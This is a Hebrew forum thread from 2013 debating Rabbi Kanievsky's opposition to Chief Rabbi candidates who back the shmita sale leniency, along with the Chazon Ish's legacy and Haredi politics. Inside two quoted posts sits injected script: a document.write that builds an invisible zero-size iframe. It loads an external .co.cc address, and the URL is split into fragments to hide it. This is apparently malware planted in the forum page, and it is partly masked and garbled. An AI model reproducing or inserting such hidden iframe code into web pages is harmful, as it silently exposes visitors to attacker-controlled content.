| נשלח ב-29/6/2013 23:23 |
 |
| |
ההשקפה החרדית - עדיף עובר איסורי דאוריתא מלהקל בדרבנן
חשיפת 'בחדרי חרדים' • הגר"ח קנייבסקי הבהיר למקורביו: לא אתמוך ברבה של חולון ובאחיו לתפקיד ה'ראשון לציון' • הסיבה: תמיכתם המובהקת ב'היתר מכירה' • הגר"ח הודיע כי נושא זה יהיה המשקל המרכזי להענקת תמיכתו
http://www.bhol.co.il/Article.aspx?id=56171
אכן אחרי שחמיו הראה שהקב"ה הביא תקלה על ידיו, הוא ממשיך...
העיקר שהבטיחו להם שההשקפה הטהורה לא תינזק והם יצליחו לכפות על כולם מניעת היתר מכירה.
|
|
|
|
| נשלח ב-25/7/2013 08:59 |
|
| |
שרפ
(אותי לא שאלו במי לבחור ועל מי להמליץ, ולמי להתנגד.)
אבל במקרה זה, גם עם ניסוח הכותרת, אפשר לצאת נגד הניסוח אבל לא נגד העיקרון שאמור לעלות ממנה.
כאשר צריך לבחור אדם לתפקיד ייצוגי ואולי גם כפוסק הלכות עבור מדינה, צריך לבדוק את מדיניות הפסיקה שלו. יש הלא מחלוקות רבות, גם בנושאים וגם במתודולוגיות. אם המתודולוגיה של הרח"ק קובעת כי הקלה בהיתר מכירה היא סימן לגישה פסולה בעיניו, זה מה שהוא יכתוב.
איני יודע אם הרח"ק שיקלל את האפשרויות של מועמדויות אחרות ועל סמך מה, אבל אני יכול להבין שפוסק הלכה או תלמיד חכם יסברו שבנסיבות מסויימות, יחס של קולא כלפי חומרה ואפילו מדרבנן גרוע יותר.
אמנם אם אני מעיין בכותרת, ומחפש בכתבה, לא מצאתי מה הדאורייתא שמועמד אחר מזלזל בה. האם הכוונה לאיסור האייפון המפורסם? זה ודאי לא דאורייתא ואפילו לא דרבנן, וקשה לי להאמין שהרח"ק יסבור שאיסור כזה שנעשה היום הוא מן התורה. ושמא הכוונה לחובת גיוס לבחורי ישיבות? אתמהה.
על כל פנים, מכל הדברים שבהם ניתן להשמיע ביקורת, הדיוק מכותרת של כתבה בבחח נראה דל מכדי לבסס ביקורת. וכאמור, עצם ההחלטה במה להתמקד, ולראות בזלזול באיסור דרבנן תופעה חמורה, כשלעצמו יש לו מקורות וסברות.
***
אמנם, יש לדון על עצם היתר המכירה. שמעתי על נימוקיו של הרב עובדיה להקל. עיון בסוגיה מראה שיש לו על מה לסמוך ואם המכירה כשלעצמה נעשתה, זה מועיל (אם זה נעשה נכון).
כמדומה ששיטת הרח"ק היא להחמיר בכל מה שהחזו"א היה מחמיר, ואפשר לראות זאת אפילו בפירושו לירושלמי, שבו הוא מעדיף את פירוש החזו"א המוקשה על פני פירושים אחרים.
וזו לדעתי באמת בעיה מתודולוגית, כי למרות שיש חיוב ללכת אחרי הרב שלך, זה לא אומר שעליך לבטל את אישיותך ואת מחשבתך, או לבדוק מחדש אם דברים שאמר בשעתו רלוונטיים גם היום, או אם היו נכונים בשעתם.
וכמובן, זו רק הזמנה לדיון על נכונות המלחמה נגד היתר המכירה, אז והיום.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-26/7/2013 18:01 |
|
| |
| מיימוני כתב: |  |
כאשר צריך לבחור אדם לתפקיד ייצוגי ואולי גם כפוסק הלכות עבור מדינה, צריך לבדוק את מדיניות הפסיקה שלו. יש הלא מחלוקות רבות, גם בנושאים וגם במתודולוגיות. אם המתודולוגיה של הרח"ק קובעת כי הקלה בהיתר מכירה היא סימן לגישה פסולה בעיניו, זה מה שהוא יכתוב.
על כל פנים, מכל הדברים שבהם ניתן להשמיע ביקורת, הדיוק מכותרת של כתבה בבחח נראה דל מכדי לבסס ביקורת. וכאמור, עצם ההחלטה במה להתמקד, ולראות בזלזול באיסור דרבנן תופעה חמורה, כשלעצמו יש לו מקורות וסברות.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מבלי לזלזל ברב פלוני או אלמוני. ברי שהיינו כבר בסרט הזה, בו בפעם הקודמת נבחר רב ראשי תמורת התחייבות שיקח צד במחלוקת על נושא היתר מכירה.
תמורת ההתחייבות ללקיחת הצד, שהוא לא יכל לקיימה כמובן בסוף, זכינו לחילול ה'.
דהיינו העדיפו קטן ש"גדול" עומד על גביו, במקום גדול והקטן ברח (או שברח לו)...
כעת לו חכמו ישכילו זאת, היו צריכים להגיע להסכם ביחס למחמירים ולא לנסות לכפות דעתם על כלל הציבור ולהביא לבחירת קטנים על פני גדולים.
הרי גם לרב יצחק אלחנן ספקטור, שפסק שהיתר מכירה תקף, קבעו שבדבר זה הקדיח תבשילו שלא התייעץ עם "אנשי ההשקפה", קודם שפסק הלכה (אותם שהייתה חשובה להם א"י מרחוק, אבל להגיע ולסקל את אבניה ולעבוד את אדמתה השאירו לחופשיים/לציונים/למזרחי/לפא"י).
|
|
|
|
|
| נשלח ב-28/7/2013 22:18 |
|
| |
אותי מקוממת ההתייחסות - של הרב אלישיב וכעת של ר"ח קניבסקי - לנושא היתר המכירה כאילו הוא השיקול החשוב ביותר בבחירת רב ראשי.
רב ראשי הוא אדם שיכול להשפיע המון על הציבור החילוני-מסורתי בארץ ובעולם, יש לו מעמד וכלים לפעול, וכל מה שמעניין אתכם זה אם הוא מקל או מחמיר בהיתר המכירה? זהו?! בזה מצטמצמת היהדות שלכם?!
|
|
|
|
| נשלח ב-29/7/2013 01:23 |
|
| |
חזק
מה שמעניין אותך כלל לא עניין אותם!
|
|
|
|
| נשלח ב-29/7/2013 08:09 |
|
| |
חזק
וודאי - כל התורה היא רק דקדוק הדין.
|
|
|
|
| נשלח ב-29/7/2013 11:30 |
|
| |
ג"א מצטרף בחום לדברי חזקואמץ.
ובנוגע לדברי צעג.
גם אם כל התורה היא דקדוק הדין אבל ממש לא מפורש בשום מקום שזה דווקא הדין של הגרח"ק או הגרי"ש. גם דקדוק הדין של הגראי"ה יכול להכלל בזה.
או בנוסח אחר, גם אם כל התורה היא דקדוק הדין, אבל ללא בלעדיות, אף אחד לא בעלים יחיד על הדין שבו צריך לדקדק.
ולעיקר דבריך שכל התורה היא רק דקדוק הדין, אני סבור שלא כמוך. אלמנט אחד מכלל התורה [או יותר נכון-היהדות] זה דקדוק הדין.
|
|
|
|
| נשלח ב-29/7/2013 18:12 |
|
| |
חזק ואמץ (וכולם)
איקון ירוק
אני סבור שאתה צודק מאד. דווקא בגלל הסמכויות והייצוגיות שיש לרב ראשי, לכן רוצים שלא יהיה מישהו שיכול לקדם אג'נדה לא חרדית. אם כי יש לומר לזכותם שהם מתנגדים גם לגישה מקילה, כגון זו של הרב סתו.
והיתר מכירה הוא דוגמא מאד מעניינת לניתוח, מדוע זה הפך ל"יהרג ואל יעבור" מבחינה מסויימת.
לדעתי יש כאן תקופות ודרגות.
א. החזו"א נלחם נגד היתר מכירה לא רק בגלל שחשש לאיסור אלא בגלל שראה בכך הזדמנות ליצירת קו מפריד בין נאמני ההלכה בכל מחיר לאלו שמוכנים להקל ולהתכופף בצוק העיתים. להתאים את התורה למציאות.
ב. הויכוח סביב היתר מכירה הפך לאבן בוחן בין רבנים ציוניים ללא ציוניים. בין מי שמוכן להתפשר למי שלא.
ג. הדור הבא מגיע. תלמידי החזו"א ממשיכים את הקו שלו. ועכשו יש כאן שני גורמים שפועלים יחד. גם המשך המלחמה על היתר מכירה, אם כי כאן כמעט אין מה לעשות. אצלנו החרדים, היתר מכירה זה משהו שלא מקילים בו. ואצל כל השאר, עד כמה שידוע לי, אפשר לסמוך על המקילים. וכמובן, הרבנות הראשית מקדמת את הפתרון הזה בדיוק כפי שמקדמים מכירת חמץ, כדי להציל חילונים מאיסור שלא מדעת.
מה שבעיני הרח"ק קובע, לדעתי, הוא שזו היתה דרכו של החזו"א, ויש להילחם על המשך דרכו של הרב. לא רק בגלל שהוא אחד ממייסדי החרדיות החדשה, שלנו, אלא בגלל שהוא הרב שהוא תלמידו. זה לא מאפיין רק אותו, אלא גם רבנים נוספים בבני ברק, גם תלמידי חכמים מובהקים. אחד הסגנונות בפסק ובחיי תלמיד חכם הוא הליכה בקו של הרב, וזה מה שעושים אלו שרואים עצמם כתלמידי החזו"א. יש כאן מקום לדון מדוע אין הכרה בכך שלא כולם חייבים לציית להוראות החזו"א. וכי אין פוסקים גדולים אחרים. האם זה בגלל שמאמינים שהוא היה הגדול האולטימטיבי או בגלל שיש להם מחוייבות ללכת בדרכו? בין כך ובין כך, חשוב לדעתו של הרח"ק למנוע מינוי של רב שעלול להחליש את הציות לדעת החזו"א.
(גילוי נאות: במשך שנים רבות אחזתי כמו החזו"א כדבר פשוט, ולמעשה גם אלו שהקלו, כמו הרב קוק, לא הקלו כפי שמקילה הרבנות בנושאי היתר מכירה. אבל במשך השנים שיניתי את הבנתי. הבנתי שהיתר מכירה כן חל וכן מתיר עבודות כפי שמצאנו במקורות, והבנתי שחשוב למצוא צד זכות עבור אלו שנכשלים שלא מדעת. מעל לכל, אני משער ששיניתי את דעתי לגבי הגרעין הקשה שהקים החזו"א או שמייחס עצמו אחרי החזו"א. כדי להבטיח את "שמירת הגחלת", יתכן שהגרעין הקשה של לומדי שיטת החזו"א מחמיצים דברים שחשובים ללימוד התורה ויתכן שהם יישמרו טוב יותר באופנים אחרים. ובעצם, זה נושא לאשכול אחר שראוי לפתוח בעצור...).
***
סליחה, מה זה "דקדוק הדין"?
1. דיוק בבירור הלכה.
2. החמרה.
כפי שנתבאר לעיל, סבורני שלא אלו הם העיקר הראוי, אם כי בוודאי שעבור "הגרעין הקשה שהקים החזו"א" זה ודאי חלק מהותי במסירת התורה וקיומה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-30/7/2013 22:30 |
|
| |
| מיימוני כתב: | |
והיתר מכירה הוא דוגמא מאד מעניינת לניתוח, מדוע זה הפך ל"יהרג ואל יעבור" מבחינה מסויימת.
לדעתי יש כאן תקופות ודרגות.
א. החזו"א נלחם נגד היתר מכירה לא רק בגלל שחשש לאיסור אלא בגלל שראה בכך הזדמנות ליצירת קו מפריד בין נאמני ההלכה בכל מחיר לאלו שמוכנים להקל ולהתכופף בצוק העיתים. להתאים את התורה למציאות.
ב. הויכוח סביב היתר מכירה הפך לאבן בוחן בין רבנים ציוניים ללא ציוניים. בין מי שמוכן להתפשר למי שלא.
ג. הדור הבא מגיע. תלמידי החזו"א ממשיכים את הקו שלו. ועכשו יש כאן שני גורמים שפועלים יחד. גם המשך המלחמה על היתר מכירה, אם כי כאן כמעט אין מה לעשות. אצלנו החרדים, היתר מכירה זה משהו שלא מקילים בו. ואצל כל השאר, עד כמה שידוע לי, אפשר לסמוך על המקילים. וכמובן, הרבנות הראשית מקדמת את הפתרון הזה בדיוק כפי שמקדמים מכירת חמץ, כדי להציל חילונים מאיסור שלא מדעת.
מה שבעיני הרח"ק קובע, לדעתי, הוא שזו היתה דרכו של החזו"א, ויש להילחם על המשך דרכו של הרב. לא רק בגלל שהוא אחד ממייסדי החרדיות החדשה, שלנו, אלא בגלל שהוא הרב שהוא תלמידו. זה לא מאפיין רק אותו, אלא גם רבנים נוספים בבני ברק, גם תלמידי חכמים מובהקים. אחד הסגנונות בפסק ובחיי תלמיד חכם הוא הליכה בקו של הרב, וזה מה שעושים אלו שרואים עצמם כתלמידי החזו"א. יש כאן מקום לדון מדוע אין הכרה בכך שלא כולם חייבים לציית להוראות החזו"א. וכי אין פוסקים גדולים אחרים. האם זה בגלל שמאמינים שהוא היה הגדול האולטימטיבי או בגלל שיש להם מחוייבות ללכת בדרכו? בין כך ובין כך, חשוב לדעתו של הרח"ק למנוע מינוי של רב שעלול להחליש את הציות לדעת החזו"א.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
נושא היתר המכירה לא החל בחזו"א, הוא החל לפניו והיה קו מבדיל בין רבנים שתמכו בהתיישבות החקלאית בארץ ישראל כערך, לבין רבנים שתמכו בעליה לא"י אך לא ראו בהתיישבות החקלאית בא"י ערך.
זה היה היסוד של האנטי ציונים (כי מתברר שאת ההגדרה "חרדים" נשאו דווקא אז הציונים הדתיים), וכך המשיכה המלחמה וקודשה.
באותה מידה בדור הבא ניתן לקדש את אי השרות בצבא כערך חרדי (כבר היום אי לימוד בישיבות תיכוניות מהווה "ערך" חרדי, רק שעל זה הרב הראשי לא יכול להשפיע)....
|
|
|
|
| נשלח ב-30/7/2013 23:59 |
|
| |
שרפ
בוודאי ששאלת היתר מכירה היתה נתונה במחלוקת הרבה קודם, ובוודאי שניתן לבדוק אם יש חלוקה בין רבנים ציונים ופחות ציונים או מתנגדים ביחס לשאלה זו. עקרונית, לא אמור להיות הבדל לפי השתייכות כזו אלא לפי גישה לנושא. כמובן, מי שהוא ציוני יסבור שזו מצוה וחלק מיישוב ארץ ישראל, אבל גם מי שלא יכול להתחשב בטעם הפרנסה כמופיע במקורות.
לפי מה שהבנתי, החזו"א הוסיף על הנושא הותיק הזה משלו, והאדיר אותו, והפך אותו לסמל ובמידה שבנה את המציאות החרדית בארץ (אולי עם הגרי"ז) הרי אי ההסתמכות על היתר מכירה היתה חלק מההגדרה העצמית של התופעה החדשה שייסד. האם אני טועה?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-31/7/2013 21:04 |
|
| |
| מיימוני כתב: | |
לפי מה שהבנתי, החזו"א הוסיף על הנושא הותיק הזה משלו, והאדיר אותו, והפך אותו לסמל ובמידה שבנה את המציאות החרדית בארץ (אולי עם הגרי"ז) הרי אי ההסתמכות על היתר מכירה היתה חלק מההגדרה העצמית של התופעה החדשה שייסד. האם אני טועה?
|
|
אתה צודק לחלוטין.
וזו בדיוק הטענה. לוקחים אנשים שאינם גדולים, היכולים להכשיל ציבורים שלמים בעבירות דאוריתא (או סתם כאלו שגם נכשלים בהן), רק כדי שיוכלו להניף מכתב שהרב התחייב שלא להיתר היתר מכירה.
אינני מתפלא, כבר לפני שנים גיליתי שלציבור החרדי ליטאי יש "דגלים" שבשבילם הוא מוכן לוותר על המון.
|
|
|
|
| נשלח ב-1/8/2013 01:29 |
|
| |
צעג, על דא קא בכינא. איך נפלו גיבורים.
|
|
|
|
| נשלח ב-1/8/2013 21:11 |
|
| |
1. לא הבנתי מדוע , גם לשיטתו, חילוני אינו יכול "לסמוך" בספק דרבנן על המקילים . הוא הדין התקשיתי בזמנו על הרב אלישיב וסיעתו שבוודאי ידעו שלםי הרע"א מותר פנוי קבריןם לצרכי בי"ח מדוע הכריחו את החילונים לא לנהוג כמתרים 2. בהתייחס לדברי מימוני על קו ה"דור השני" ליבי אומר לי כי ההתנגדות השוצפת למדי מים דיגיטליים מקורה לעקרון חשמל בשבת בבני ברק, עירו של החזו"א (אחרת תמוהה המלחמה נגד הדפסת דעה מנומקת)
|
|
|
|
|
